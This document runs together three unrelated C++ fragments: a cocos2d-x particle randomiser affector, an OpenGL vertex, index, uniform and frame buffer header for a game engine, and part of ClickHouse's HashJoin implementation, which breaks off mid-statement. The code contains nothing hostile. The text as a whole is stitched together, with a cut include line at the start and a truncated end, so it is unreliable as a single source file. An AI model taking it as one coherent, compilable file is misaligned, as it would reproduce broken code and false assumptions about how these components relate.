"extensions/Particle3D/PU/CCPUParticleSystem3D.h" NS_CC_BEGIN // Constants const Vec3 PURandomiser::DEFAULT_MAX_DEVIATION(0, 0, 0); const float PURandomiser::DEFAULT_TIME_STEP = 0.0f; const bool PURandomiser::DEFAULT_RANDOM_DIRECTION = true; //----------------------------------------------------------------------- PURandomiser::PURandomiser(void) : PUAffector(), _maxDeviationX(DEFAULT_MAX_DEVIATION.x), _maxDeviationY(DEFAULT_MAX_DEVIATION.y), _maxDeviationZ(DEFAULT_MAX_DEVIATION.z), _timeSinceLastUpdate(0.0f), _timeStep(DEFAULT_TIME_STEP), _randomDirection(DEFAULT_RANDOM_DIRECTION), _update(true) { } PURandomiser::~PURandomiser( void ) { } //----------------------------------------------------------------------- float PURandomiser::getMaxDeviationX(void) const { return _maxDeviationX; } //----------------------------------------------------------------------- void PURandomiser::setMaxDeviationX(float maxDeviationX) { _maxDeviationX = maxDeviationX; } //----------------------------------------------------------------------- float PURandomiser::getMaxDeviationY(void) const { return _maxDeviationY; } //----------------------------------------------------------------------- void PURandomiser::setMaxDeviationY(float maxDeviationY) { _maxDeviationY = maxDeviationY; } //----------------------------------------------------------------------- float PURandomiser::getMaxDeviationZ(void) const { return _maxDeviationZ; } //----------------------------------------------------------------------- void PURandomiser::setMaxDeviationZ(float maxDeviationZ) { _maxDeviationZ = maxDeviationZ; } //----------------------------------------------------------------------- float PURandomiser::getTimeStep(void) const { return _timeStep; } //----------------------------------------------------------------------- void PURandomiser::setTimeStep(float timeStep) { _timeStep = timeStep; _timeSinceLastUpdate = timeStep; } //----------------------------------------------------------------------- bool PURandomiser::isRandomDirection(void) const { return _randomDirection; } //----------------------------------------------------------------------- void PURandomiser::setRandomDirection(bool randomDirection) { _randomDirection = randomDirection; } //----------------------------------------------------------------------- void PURandomiser::preUpdateAffector(float deltaTime) { if (/*technique->getNumberOfEmittedParticles()*/static_cast<PUParticleSystem3D *>(_particleSystem)->getAliveParticleCount() > 0) { _timeSinceLastUpdate += deltaTime; if (_timeSinceLastUpdate > _timeStep) { _timeSinceLastUpdate -= _timeStep; _update = true; } } } //----------------------------------------------------------------------- void PURandomiser::updatePUAffector( PUParticle3D *particle, float /*deltaTime*/ ) { //for (auto iter : _particleSystem->getParticles()) { //PUParticle3D *particle = iter; if (_update) { if (_randomDirection) { // Random direction: Change the direction after each update particle->direction.add(CCRANDOM_MINUS1_1() * _maxDeviationX, CCRANDOM_MINUS1_1() * _maxDeviationY, CCRANDOM_MINUS1_1() * _maxDeviationZ); } else { // Explicitly check on 'freezed', because it passes the techniques' validation. if (particle->isFreezed()) return; // Random position: Add the position deviation after each update particle->position.add(CCRANDOM_MINUS1_1() * _maxDeviationX * _affectorScale.x, CCRANDOM_MINUS1_1() * _maxDeviationY * _affectorScale.y, CCRANDOM_MINUS1_1() * _maxDeviationZ * _affectorScale.z); } } } } //----------------------------------------------------------------------- void PURandomiser::postUpdateAffector(float /*deltaTime*/) { _update = false; } PURandomiser* PURandomiser::create() { auto pr = new (std::nothrow) PURandomiser(); pr->autorelease(); return pr; } void PURandomiser::copyAttributesTo( PUAffector* affector ) { PUAffector::copyAttributesTo(affector); PURandomiser* randomiser = static_cast<PURandomiser*>(affector); randomiser->_maxDeviationX = _maxDeviationX; randomiser->_maxDeviationY = _maxDeviationY; randomiser->_maxDeviationZ = _maxDeviationZ; randomiser->setTimeStep(_timeStep); // Also sets time since last update to appropriate value randomiser->_randomDirection = _randomDirection; } NS_CC_END
#pragma once #include "Engine/Rendering/buffers.hpp" #include "OpenGLVertexBufferLayout.hpp" #include "OpenGLTexture.hpp" namespace Engine { //::::::::::VERTEX::BUFFER:::::::::::: class GLvertexBuffer : public vertexBuffer { public: GLvertexBuffer(const uint32_t size, const void* data, const uint32_t usage); ~GLvertexBuffer(); virtual inline void setLayout(Ref_ptr<vertexBufferLayout> layout) override; virtual inline void bindLayout() const override;//not gonna use this often in gl cuz we have vertexArrays virtual inline void bind() const override; virtual inline void unbind() const override; private: unsigned int m_renderer_id; Ref_ptr<GLvertexBufferLayout> m_layout; }; //::::::::::INDEX::BUFFER::::::::::::: class GLindexBuffer : public indexBuffer { private: unsigned int m_renderer_id; unsigned int m_count; public: GLindexBuffer(const uint32_t count, const uint32_t* data, const uint32_t usage); ~GLindexBuffer(); inline virtual uint32_t getCount() const override { return m_count; } virtual inline void bind() const override; virtual inline void unbind() const override; }; //::::::::::uniformBufferElement:::::::::::::::::::: struct uniformBufferElement { unsigned int type; uint8_t count; uint16_t offset;//warning, allows for a maximum offset of 65,535!!! uniformBufferElement(const unsigned int inType, const uint8_t inCount, const uint16_t inOffset) : type(inType), count(inCount), offset(inOffset) { } ~uniformBufferElement() { } static uint32_t getTypeSize(uint32_t type)//return the typesize in the uniformBuffer when using std140 memory layout { switch (type) { case(GL_FLOAT): return 16; case(GL_INT): return 16; case(GL_BOOL): return 16;//bools also take 4bytes in uniform buffers when using std140 memory layout case(GL_FLOAT_VEC2): return 8; case(GL_FLOAT_VEC3): return 16;//also vec3s take 16 bytes when using std140 memory layout instead of 12bytes case(GL_FLOAT_VEC4): return 16; case(GL_FLOAT_MAT4): return 64; } ENG_CORE_ASSERT(false, "Type was unknown(uniformBufferElement).");//this shouldn't happen return 0; } static uint32_t getUpdateSize(uint32_t type)//return the size of bytes that actually need to be read from cpu-side when updating the element { switch (type) { case(GL_FLOAT): return 4; case(GL_INT): return 4; case(GL_BOOL): return 4;//bools take 4bytes in uniform buffers when using std140 memory layout case(GL_FLOAT_VEC2): return 8; case(GL_FLOAT_VEC3): return 12; case(GL_FLOAT_VEC4): return 16; case(GL_FLOAT_MAT4): return 64; } ENG_CORE_ASSERT(false, "Type was unknown(uniformBufferElement).");//this shouldn't happen return 0; } }; //::::::::::UNIFORM::BUFFER:::::::(GLOBAL_BUFFER)::::: class GLglobalBuffer : public globalBuffer { public: GLglobalBuffer(const uint16_t size, const uint32_t usage);//create and bind the buffer ~GLglobalBuffer(); inline virtual void bind() const override; inline virtual void unbind() const override; inline virtual void bindToPoint(const uint32_t bindingPoint) override; virtual void getData(void *target) override; inline virtual void laddB(const uint32_t type, const uint8_t count = 1) override; inline virtual void lAddBoolB(const uint8_t count = 1) override; inline virtual void lAddIntB(const uint8_t count = 1) override; inline virtual void lAddFloatB(const uint8_t count = 1) override; inline virtual void lAddVec3B(const uint8_t count = 1) override; inline virtual void lAddVec4B(const uint8_t count = 1) override; inline virtual void lAddMat4B(const uint8_t count = 1) override; inline virtual void lAdd(const uint32_t type, const uint16_t offset, const uint8_t count = 1) override; inline virtual void lAddBool(const uint16_t offset, const uint8_t count = 1) override; inline virtual void lAddInt(const uint16_t offset, const uint8_t count = 1) override; inline virtual void lAddFloat(const uint16_t offset, const uint8_t count = 1) override; inline virtual void lAddVec3(const uint16_t offset, const uint8_t count = 1) override; inline virtual void lAddVec4(const uint16_t offset, const uint8_t count = 1) override; inline virtual void lAddMat4(const uint16_t offset, const uint8_t count = 1) override; inline virtual void updateElement(const uint8_t index, const void* val) const override; inline virtual void updateAll(const void* val) const override; void updateFromTo(const uint8_t indexBegin, const uint8_t indexEnd, const void* val) const override; inline virtual uint16_t getSize() const override { return m_size; }//return the buffer's size in bytes private: unsigned int m_renderer_id; uint16_t m_size = 0;//maximum size of 65,535 uint16_t m_stack = 0;//points to the offset, at which the next element will be inserted into the layout std::vector<uniformBufferElement> m_elements; }; class GLRenderBuffer : public RenderBuffer { friend class GLFrameBuffer;//cuz frameBuffer needs to get the renderer_id for attachment public: GLRenderBuffer(RenderBufferUsage usage, uint32_t width, uint32_t height); ~GLRenderBuffer(); inline virtual void bind() const override; inline virtual void unbind() const override; private: inline virtual const uint32_t getRenderer_id() const override { return m_renderer_id; } uint32_t m_renderer_id; }; class GLFrameBuffer : public FrameBuffer { public: GLFrameBuffer(); ~GLFrameBuffer(); inline virtual void bind() const override; inline virtual void unbind() const override; virtual void initShadow() const override; virtual void checkStatus() const override; inline virtual void attachTexture(const Ref_ptr<ShadowMap2d>& map) const override; inline virtual void attachTexture(const Ref_ptr<ShadowMap3d>& map) const override; inline virtual void attachTexture(const Ref_ptr<texture2d>& tex, const uint32_t slot = 0) const override; inline virtual void attachRenderBuffer(const Ref_ptr<RenderBuffer>& buffer) const override; private: uint32_t m_renderer_id; }; }
#include <any> #include <limits> #include <common/logger_useful.h> #include <Columns/ColumnConst.h> #include <Columns/ColumnString.h> #include <Columns/ColumnVector.h> #include <Columns/ColumnFixedString.h> #include <Columns/ColumnNullable.h> #include <DataTypes/DataTypeNullable.h> #include <DataTypes/DataTypeLowCardinality.h> #include <Interpreters/HashJoin.h> #include <Interpreters/join_common.h> #include <Interpreters/TableJoin.h> #include <Interpreters/joinDispatch.h> #include <Interpreters/NullableUtils.h> #include <Interpreters/DictionaryReader.h> #include <Storages/StorageDictionary.h> #include <DataStreams/IBlockInputStream.h> #include <DataStreams/materializeBlock.h> #include <Core/ColumnNumbers.h> #include <Common/typeid_cast.h> #include <Common/assert_cast.h> namespace DB { namespace ErrorCodes { extern const int BAD_TYPE_OF_FIELD; extern const int NOT_IMPLEMENTED; extern const int NO_SUCH_COLUMN_IN_TABLE; extern const int INCOMPATIBLE_TYPE_OF_JOIN; extern const int UNSUPPORTED_JOIN_KEYS; extern const int LOGICAL_ERROR; extern const int SYNTAX_ERROR; extern const int SET_SIZE_LIMIT_EXCEEDED; extern const int TYPE_MISMATCH; extern const int NUMBER_OF_ARGUMENTS_DOESNT_MATCH; } namespace { struct NotProcessedCrossJoin : public ExtraBlock { size_t left_position; size_t right_block; }; } static ColumnPtr filterWithBlanks(ColumnPtr src_column, const IColumn::Filter & filter, bool inverse_filter = false) { ColumnPtr column = src_column->convertToFullColumnIfConst(); MutableColumnPtr mut_column = column->cloneEmpty(); mut_column->reserve(column->size()); if (inverse_filter) { for (size_t row = 0; row < filter.size(); ++row) { if (filter[row]) mut_column->insertDefault(); else mut_column->insertFrom(*column, row); } } else { for (size_t row = 0; row < filter.size(); ++row) { if (filter[row]) mut_column->insertFrom(*column, row); else mut_column->insertDefault(); } } return mut_column; } static ColumnWithTypeAndName correctNullability(ColumnWithTypeAndName && column, bool nullable) { if (nullable) { JoinCommon::convertColumnToNullable(column); } else { /// We have to replace values masked by NULLs with defaults. if (column.column) if (const auto * nullable_column = checkAndGetColumn<ColumnNullable>(*column.column)) column.column = filterWithBlanks(column.column, nullable_column->getNullMapColumn().getData(), true); JoinCommon::removeColumnNullability(column); } return std::move(column); } static ColumnWithTypeAndName correctNullability(ColumnWithTypeAndName && column, bool nullable, const ColumnUInt8 & negative_null_map) { if (nullable) { JoinCommon::convertColumnToNullable(column, true); if (column.type->isNullable() && !negative_null_map.empty()) { MutableColumnPtr mutable_column = IColumn::mutate(std::move(column.column)); assert_cast<ColumnNullable &>(*mutable_column).applyNegatedNullMap(negative_null_map); column.column = std::move(mutable_column); } } else JoinCommon::removeColumnNullability(column); return std::move(column); } HashJoin::HashJoin(std::shared_ptr<TableJoin> table_join_, const Block & right_sample_block_, bool any_take_last_row_) : table_join(table_join_) , kind(table_join->kind()) , strictness(table_join->strictness()) , key_names_right(table_join->keyNamesRight()) , nullable_right_side(table_join->forceNullableRight()) , nullable_left_side(table_join->forceNullableLeft()) , any_take_last_row(any_take_last_row_) , asof_inequality(table_join->getAsofInequality()) , data(std::make_shared<RightTableData>()) , right_sample_block(right_sample_block_) , log(&Poco::Logger::get("HashJoin")) { LOG_DEBUG(log, "Right sample block: {}", right_sample_block.dumpStructure()); table_join->splitAdditionalColumns(right_sample_block, right_table_keys, sample_block_with_columns_to_add); required_right_keys = table_join->getRequiredRightKeys(right_table_keys, required_right_keys_sources); JoinCommon::removeLowCardinalityInplace(right_table_keys); initRightBlockStructure(data->sample_block); ColumnRawPtrs key_columns = JoinCommon::extractKeysForJoin(right_table_keys, key_names_right); JoinCommon::createMissedColumns(sample_block_with_columns_to_add); if (nullable_right_side) JoinCommon::convertColumnsToNullable(sample_block_with_columns_to_add); if (table_join->dictionary_reader) { data->type = Type::DICT; std::get<MapsOne>(data->maps).create(Type::DICT); chooseMethod(key_columns, key_sizes); /// init key_sizes } else if (strictness == ASTTableJoin::Strictness::Asof) { if (kind != ASTTableJoin::Kind::Left and kind != ASTTableJoin::Kind::Inner) throw Exception("ASOF only supports LEFT and INNER as base joins", ErrorCodes::NOT_IMPLEMENTED); const IColumn * asof_column = key_columns.back(); size_t asof_size; asof_type = AsofRowRefs::getTypeSize(asof_column, asof_size); if (!asof_type) { std::string msg = "ASOF join not supported for type: "; msg += asof_column->getFamilyName(); throw Exception(msg, ErrorCodes::BAD_TYPE_OF_FIELD); } key_columns.pop_back(); if (key_columns.empty()) throw Exception("ASOF join cannot be done without a joining column", ErrorCodes::SYNTAX_ERROR); /// this is going to set up the appropriate hash table for the direct lookup part of the join /// However, this does not depend on the size of the asof join key (as that goes into the BST) /// Therefore, add it back in such that it can be extracted appropriately from the full stored /// key_columns and key_sizes init(chooseMethod(key_columns, key_sizes)); key_sizes.push_back(asof_size); } else { /// Choose data structure to use for JOIN. init(chooseMethod(key_columns, key_sizes)); } } HashJoin::Type HashJoin::chooseMethod(const ColumnRawPtrs & key_columns, Sizes & key_sizes) { size_t keys_size = key_columns.size(); if (keys_size == 0) return Type::CROSS; bool all_fixed = true; size_t keys_bytes = 0; key_sizes.resize(keys_size); for (size_t j = 0; j < keys_size; ++j) { if (!key_columns[j]->isFixedAndContiguous()) { all_fixed = false; break; } key_sizes[j] = key_columns[j]->sizeOfValueIfFixed(); keys_bytes += key_sizes[j]; } /// If there is one numeric key that fits in 64 bits if (keys_size == 1 && key_columns[0]->isNumeric()) { size_t size_of_field = key_columns[0]->sizeOfValueIfFixed(); if (size_of_field == 1) return Type::key8; if (size_of_field == 2) return Type::key16; if (size_of_field == 4) return Type::key32; if (size_of_field == 8) return Type::key64; if (size_of_field == 16) return Type::keys128; throw Exception("Logical error: numeric column has sizeOfField not in 1, 2, 4, 8, 16.", ErrorCodes::LOGICAL_ERROR); } /// If the keys fit in N bits, we will use a hash table for N-bit-packed keys if (all_fixed && keys_bytes <= 16) return Type::keys128; if (all_fixed && keys_bytes <= 32) return Type::keys256; /// If there is single string key, use hash table of it's values. if (keys_size == 1 && (typeid_cast<const ColumnString *>(key_columns[0]) || (isColumnConst(*key_columns[0]) && typeid_cast<const ColumnString *>(&assert_cast<const ColumnConst *>(key_columns[0])->getDataColumn())))) return Type::key_string; if (keys_size == 1 && typeid_cast<const ColumnFixedString *>(key_columns[0])) return Type::key_fixed_string; /// Otherwise, will use set of cryptographic hashes of unambiguously serialized values. return Type::hashed; } static const IColumn * extractAsofColumn(const ColumnRawPtrs & key_columns) { return key_columns.back(); } template<typename KeyGetter, bool is_asof_join> static KeyGetter createKeyGetter(const ColumnRawPtrs & key_columns, const Sizes & key_sizes) { if constexpr (is_asof_join) { auto key_column_copy = key_columns; auto key_size_copy = key_sizes; key_column_copy.pop_back(); key_size_copy.pop_back(); return KeyGetter(key_column_copy, key_size_copy, nullptr); } else return KeyGetter(key_columns, key_sizes, nullptr); } class KeyGetterForDict { public: using Mapped = JoinStuff::MappedOne; using FindResult = ColumnsHashing::columns_hashing_impl::FindResultImpl<Mapped>; KeyGetterForDict(const ColumnRawPtrs & key_columns_, const Sizes &, void *) : key_columns(key_columns_) {} FindResult findKey(const TableJoin & table_join, size_t row, const Arena &) { const DictionaryReader & reader = *table_join.dictionary_reader; if (!read_result) { reader.readKeys(*key_columns[0], read_result, found, positions); result.block = &read_result; if (table_join.forceNullableRight()) for (auto & column : read_result) if (table_join.rightBecomeNullable(column.type)) JoinCommon::convertColumnToNullable(column); } result.row_num = positions[row]; return FindResult(&result, found[row]); } private: const ColumnRawPtrs & key_columns; Block read_result; Mapped result; ColumnVector<UInt8>::Container found; std::vector<size_t> positions; }; template <HashJoin::Type type, typename Value, typename Mapped> struct KeyGetterForTypeImpl; template <typename Value, typename Mapped> struct KeyGetterForTypeImpl<HashJoin::Type::key8, Value, Mapped> { using Type = ColumnsHashing::HashMethodOneNumber<Value, Mapped, UInt8, false>; }; template <typename Value, typename Mapped> struct KeyGetterForTypeImpl<HashJoin::Type::key16, Value, Mapped> { using Type = ColumnsHashing::HashMethodOneNumber<Value, Mapped, UInt16, false>; }; template <typename Value, typename Mapped> struct KeyGetterForTypeImpl<HashJoin::Type::key32, Value, Mapped> { using Type = ColumnsHashing::HashMethodOneNumber<Value, Mapped, UInt32, false>; }; template <typename Value, typename Mapped> struct KeyGetterForTypeImpl<HashJoin::Type::key64, Value, Mapped> { using Type = ColumnsHashing::HashMethodOneNumber<Value, Mapped, UInt64, false>; }; template <typename Value, typename Mapped> struct KeyGetterForTypeImpl<HashJoin::Type::key_string, Value, Mapped> { using Type = ColumnsHashing::HashMethodString<Value, Mapped, true, false>; }; template <typename Value, typename Mapped> struct KeyGetterForTypeImpl<HashJoin::Type::key_fixed_string, Value, Mapped> { using Type = ColumnsHashing::HashMethodFixedString<Value, Mapped, true, false>; }; template <typename Value, typename Mapped> struct KeyGetterForTypeImpl<HashJoin::Type::keys128, Value, Mapped> { using Type = ColumnsHashing::HashMethodKeysFixed<Value, UInt128, Mapped, false, false, false>; }; template <typename Value, typename Mapped> struct KeyGetterForTypeImpl<HashJoin::Type::keys256, Value, Mapped> { using Type = ColumnsHashing::HashMethodKeysFixed<Value, UInt256, Mapped, false, false, false>; }; template <typename Value, typename Mapped> struct KeyGetterForTypeImpl<HashJoin::Type::hashed, Value, Mapped> { using Type = ColumnsHashing::HashMethodHashed<Value, Mapped, false>; }; template <HashJoin::Type type, typename Data> struct KeyGetterForType { using Value = typename Data::value_type; using Mapped_t = typename Data::mapped_type; using Mapped = std::conditional_t<std::is_const_v<Data>, const Mapped_t, Mapped_t>; using Type = typename KeyGetterForTypeImpl<type, Value, Mapped>::Type; }; void HashJoin::init(Type type_) { data->type = type_; if (kind == ASTTableJoin::Kind::Cross) return; joinDispatchInit(kind, strictness, data->maps); joinDispatch(kind, strictness, data->maps, [&](auto, auto, auto & map) { map.create(data->type); }); } size_t HashJoin::getTotalRowCount() const { size_t res = 0; if (data->type == Type::CROSS) { for (const auto & block : data->blocks) res += block.rows(); } else if (data->type != Type::DICT) { joinDispatch(kind, strictness, data->maps, [&](auto, auto, auto & map) { res += map.getTotalRowCount(data->type); }); } return res; } size_t HashJoin::getTotalByteCount() const { size_t res = 0; if (data->type == Type::CROSS) { for (const auto & block : data->blocks) res += block.bytes(); } else if (data->type != Type::DICT) { joinDispatch(kind, strictness, data->maps, [&](auto, auto, auto & map) { res += map.getTotalByteCountImpl(data->type); }); res += data->pool.size(); } return res; } namespace { /// Inserting an element into a hash table of the form `key -> reference to a string`, which will then be used by JOIN. template <typename Map, typename KeyGetter> struct Inserter { static ALWAYS_INLINE void insertOne(const HashJoin & join, Map & map, KeyGetter & key_getter, Block * stored_block, size_t i, Arena & pool) { auto emplace_result = key_getter.emplaceKey(map, i, pool); if (emplace_result.isInserted() || join.anyTakeLastRow()) new (&emplace_result.getMapped()) typename Map::mapped_type(stored_block, i); } static ALWAYS_INLINE void insertAll(const HashJoin &, Map & map, KeyGetter & key_getter, Block * stored_block, size_t i, Arena & pool) { auto emplace_result = key_getter.emplaceKey(map, i, pool); if (emplace_result.isInserted()) new (&emplace_result.getMapped()) typename Map::mapped_type(stored_block, i); else { /// The first element of the list is stored in the value of the hash table, the rest in the pool. emplace_result.getMapped().insert({stored_block, i}, pool); } } static ALWAYS_INLINE void insertAsof(HashJoin & join, Map & map, KeyGetter & key_getter, Block * stored_block, size_t i, Arena & pool, const IColumn * asof_column) { auto emplace_result = key_getter.emplaceKey(map, i, pool); typename Map::mapped_type * time_series_map = &emplace_result.getMapped(); if (emplace_result.isInserted()) time_series_map = new (time_series_map) typename Map::mapped_type(join.getAsofType()); time_series_map->insert(join.getAsofType(), asof_column, stored_block, i); } }; template <ASTTableJoin::Strictness STRICTNESS, typename KeyGetter, typename Map, bool has_null_map> void NO_INLINE insertFromBlockImplTypeCase( HashJoin & join, Map & map, size_t rows, const ColumnRawPtrs & key_columns, const Sizes & key_sizes, Block * stored_block, ConstNullMapPtr null_map, Arena & pool) { [[maybe_unused]] constexpr bool mapped_one = std::is_same_v<typename Map::mapped_type, JoinStuff::MappedOne> || std::is_same_v<typename Map::mapped_type, JoinStuff::MappedOneFlagged>; constexpr bool is_asof_join = STRICTNESS == ASTTableJoin::Strictness::Asof; const IColumn * asof_column [[maybe_unused]] = nullptr; if constexpr (is_asof_join) asof_column = extractAsofColumn(key_columns); auto key_getter = createKeyGetter<KeyGetter, is_asof_join>(key_columns, key_sizes); for (size_t i = 0; i < rows; ++i) { if (has_null_map && (*null_map)[i]) continue; if constexpr (is_asof_join) Inserter<Map, KeyGetter>::insertAsof(join, map, key_getter, stored_block, i, pool, asof_column); else if constexpr (mapped_one) Inserter<Map, KeyGetter>::insertOne(join, map, key_getter, stored_block, i, pool); else Inserter<Map, KeyGetter>::insertAll(join, map, key_getter, stored_block, i, pool); } } template <ASTTableJoin::Strictness STRICTNESS, typename KeyGetter, typename Map> void insertFromBlockImplType( HashJoin & join, Map & map, size_t rows, const ColumnRawPtrs & key_columns, const Sizes & key_sizes, Block * stored_block, ConstNullMapPtr null_map, Arena & pool) { if (null_map) insertFromBlockImplTypeCase<STRICTNESS, KeyGetter, Map, true>(join, map, rows, key_columns, key_sizes, stored_block, null_map, pool); else insertFromBlockImplTypeCase<STRICTNESS, KeyGetter, Map, false>(join, map, rows, key_columns, key_sizes, stored_block, null_map, pool); } template <ASTTableJoin::Strictness STRICTNESS, typename Maps> void insertFromBlockImpl( HashJoin & join, HashJoin::Type type, Maps & maps, size_t rows, const ColumnRawPtrs & key_columns, const Sizes & key_sizes, Block * stored_block, ConstNullMapPtr null_map, Arena & pool) { switch (type) { case HashJoin::Type::EMPTY: break; case HashJoin::Type::CROSS: break; /// Do nothing. We have already saved block, and it is enough. case HashJoin::Type::DICT: break; /// Noone should call it with Type::DICT. #define M(TYPE) \ case HashJoin::Type::TYPE: \ insertFromBlockImplType<STRICTNESS, typename KeyGetterForType<HashJoin::Type::TYPE, std::remove_reference_t<decltype(*maps.TYPE)>>::Type>(\ join, *maps.TYPE, rows, key_columns, key_sizes, stored_block, null_map, pool); \ break; APPLY_FOR_JOIN_VARIANTS(M) #undef M } } } void HashJoin::initRightBlockStructure(Block & saved_block_sample) { /// We could remove key columns for LEFT | INNER HashJoin but we should keep them for JoinSwitcher (if any). bool save_key_columns = !table_join->forceHashJoin() || isRightOrFull(kind); if (save_key_columns) { saved_block_sample = right_table_keys.cloneEmpty(); } else if (strictness == ASTTableJoin::Strictness::Asof) { /// Save ASOF key saved_block_sample.insert(right_table_keys.safeGetByPosition(right_table_keys.columns() - 1)); } /// Save non key columns for (auto & column : sample_block_with_columns_to_add) saved_block_sample.insert(column); if (nullable_right_side) JoinCommon::convertColumnsToNullable(saved_block_sample, (isFull(kind) ? right_table_keys.columns() : 0)); } Block HashJoin::structureRightBlock(const Block & block) const { Block structured_block; for (const auto & sample_column : savedBlockSample().getColumnsWithTypeAndName()) { ColumnWithTypeAndName column = block.getByName(sample_column.name); if (sample_column.column->isNullable()) JoinCommon::convertColumnToNullable(column); structured_block.insert(column); } return structured_block; } bool HashJoin::addJoinedBlock(const Block & source_block, bool check_limits) { if (empty()) throw Exception("Logical error: HashJoin was not initialized", ErrorCodes::LOGICAL_ERROR); if (overDictionary()) throw Exception("Logical error: insert into hash-map in HashJoin over dictionary", ErrorCodes::LOGICAL_ERROR); /// RowRef::SizeT is uint32_t (not size_t) for hash table Cell memory efficiency. /// It's possible to split bigger blocks and insert them by parts here. But it would be a dead code. if (unlikely(source_block.rows() > std::numeric_limits<RowRef::SizeT>::max())) throw Exception("Too many rows in right table block for HashJoin: " + toString(source_block.rows()), ErrorCodes::NOT_IMPLEMENTED); /// There's no optimization for right side const columns. Remove constness if any. Block block = materializeBlock(source_block); size_t rows = block.rows(); ColumnRawPtrs key_columns = JoinCommon::materializeColumnsInplace(block, key_names_right); /// We will insert to the map only keys, where all components are not NULL. ConstNullMapPtr null_map{}; ColumnPtr null_map_holder = extractNestedColumnsAndNullMap(key_columns, null_map); /// If RIGHT or FULL save blocks with nulls for NonJoinedBlockInputStream UInt8 save_nullmap = 0; if (isRightOrFull(kind) && null_map) { for (size_t i = 0; !save_nullmap && i < null_map->size(); ++i) save_nullmap |= (*null_map)[i]; } Block structured_block = structureRightBlock(block); size_t total_rows = 0; size_t total_bytes = 0; { std::unique_lock lock(data->rwlock); data->blocks.emplace_back(std::move(structured_block)); Block * stored_block = &data->blocks.back(); if (rows) data->empty = false; if (kind != ASTTableJoin::Kind::Cross) { joinDispatch(kind, strictness, data->maps, [&](auto, auto strictness_, auto & map) { insertFromBlockImpl<strictness_>(*this, data->type, map, rows, key_columns, key_sizes, stored_block, null_map, data->pool); }); } if (save_nullmap) data->blocks_nullmaps.emplace_back(stored_block, null_map_holder); if (!check_limits) return true; /// TODO: Do not calculate them every time total_rows = getTotalRowCount(); total_bytes = getTotalByteCount(); } return table_join->sizeLimits().check(total_rows, total_bytes, "JOIN", ErrorCodes::SET_SIZE_LIMIT_EXCEEDED); } namespace { class AddedColumns { public: using TypeAndNames = std::vector<std::pair<decltype(ColumnWithTypeAndName::type), decltype(ColumnWithTypeAndName::name)>>; AddedColumns(const Block & sample_block_with_columns_to_add, const Block & block_with_columns_to_add, const Block & block, const Block & saved_block_sample, const ColumnsWithTypeAndName & extras, const HashJoin & join_, const ColumnRawPtrs & key_columns_, const Sizes & key_sizes_) : join(join_) , key_columns(key_columns_) , key_sizes(key_sizes_) , rows_to_add(block.rows()) , need_filter(false) { size_t num_columns_to_add = sample_block_with_columns_to_add.columns(); columns.reserve(num_columns_to_add); type_name.reserve(num_columns_to_add); right_indexes.reserve(num_columns_to_add); for (const auto & src_column : block_with_columns_to_add) { /// Don't insert column if it's in left block if (!block.has(src_column.name)) addColumn(src_column); } for (const auto & extra : extras) addColumn(extra); for (auto & tn : type_name) right_indexes.push_back(saved_block_sample.getPositionByName(tn.second)); } size_t size() const { return columns.size(); } ColumnWithTypeAndName moveColumn(size_t i) { return ColumnWithTypeAndName(std::move(columns[i]), type_name[i].first, type_name[i].second); } template <bool has_defaults> void appendFromBlock(const Block & block, size_t row_num) { if constexpr (has_defaults) applyLazyDefaults(); for (size_t j = 0; j < right_indexes.size(); ++j) columns[j]->insertFrom(*block.getByPosition(right_indexes[j]).column, row_num); } void appendDefaultRow() { ++lazy_defaults_count; } void applyLazyDefaults() { if (lazy_defaults_count) { for (size_t j = 0; j < right_indexes.size(); ++j) columns[j]->insertManyDefaults(lazy_defaults_count); lazy_defaults_count = 0; } } const HashJoin & join; const ColumnRawPtrs & key_columns; const Sizes & key_sizes; size_t rows_to_add; std::unique_ptr<IColumn::Offsets> offsets_to_replicate; bool need_filter; private: TypeAndNames type_name; MutableColumns columns; std::vector<size_t> right_indexes; size_t lazy_defaults_count = 0; void addColumn(const ColumnWithTypeAndName & src_column) { columns.push_back(src_column.column->cloneEmpty()); columns.back()->reserve(src_column.column->size()); type_name.emplace_back(src_column.type, src_column.name); } }; template <typename Map, bool add_missing> void addFoundRowAll(const typename Map::mapped_type & mapped, AddedColumns & added, IColumn::Offset & current_offset) { if constexpr (add_missing) added.applyLazyDefaults(); for (auto it = mapped.begin(); it.ok(); ++it) { added.appendFromBlock<false>(*it->block, it->row_num); ++current_offset; } }; template <bool add_missing, bool need_offset> void addNotFoundRow(AddedColumns & added [[maybe_unused]], IColumn::Offset & current_offset [[maybe_unused]]) { if constexpr (add_missing) { added.appendDefaultRow(); if constexpr (need_offset) ++current_offset; } } template <bool need_filter> void setUsed(IColumn::Filter & filter [[maybe_unused]], size_t pos [[maybe_unused]]) { if constexpr (need_filter) filter[pos] = 1; } /// Joins right table columns which indexes are present in right_indexes using specified map. /// Makes filter (1 if row presented in right table) and returns offsets to replicate (for ALL JOINS). template <ASTTableJoin::Kind KIND, ASTTableJoin::Strictness STRICTNESS, typename KeyGetter, typename Map, bool need_filter, bool has_null_map> NO_INLINE IColumn::Filter joinRightColumns(const Map & map, AddedColumns & added_columns, const ConstNullMapPtr & null_map [[maybe_unused]]) { constexpr bool is_any_join = STRICTNESS == ASTTableJoin::Strictness::Any; constexpr bool is_all_join = STRICTNESS == ASTTableJoin::Strictness::All; constexpr bool is_asof_join = STRICTNESS == ASTTableJoin::Strictness::Asof; constexpr bool is_semi_join = STRICTNESS == ASTTableJoin::Strictness::Semi; constexpr bool is_anti_join = STRICTNESS == ASTTableJoin::Strictness::Anti; constexpr bool left = KIND == ASTTableJoin::Kind::Left; constexpr bool right = KIND == ASTTableJoin::Kind::Right; constexpr bool full = KIND == ASTTableJoin::Kind::Full; constexpr bool add_missing = (left || full) && !is_semi_join; constexpr bool need_replication = is_all_join || (is_any_join && right) || (is_semi_join && right); size_t rows = added_columns.rows_to_add; IColumn::Filter filter; if constexpr (need_filter) filter = IColumn::Filter(rows, 0); Arena pool; if constexpr (need_replication) added_columns.offsets_to_replicate = std::make_unique<IColumn::Offsets>(rows); const IColumn * asof_column [[maybe_unused]] = nullptr; if constexpr (is_asof_join) asof_column = extractAsofColumn(added_columns.key_columns); auto key_getter = createKeyGetter<KeyGetter, is_asof_join>(added_columns.key_columns, added_columns.key_sizes); IColumn::Offset current_offset = 0; for (size_t i = 0; i < rows; ++i) { if constexpr (has_null_map) { if ((*null_map)[i]) { addNotFoundRow<add_missing, need_replication>(added_columns, current_offset); if constexpr (need_replication) (*added_columns.offsets_to_replicate)[i] = current_offset; continue; } } auto find_result = key_getter.findKey(map, i, pool); if (find_result.isFound()) { auto & mapped = find_result.getMapped(); if constexpr 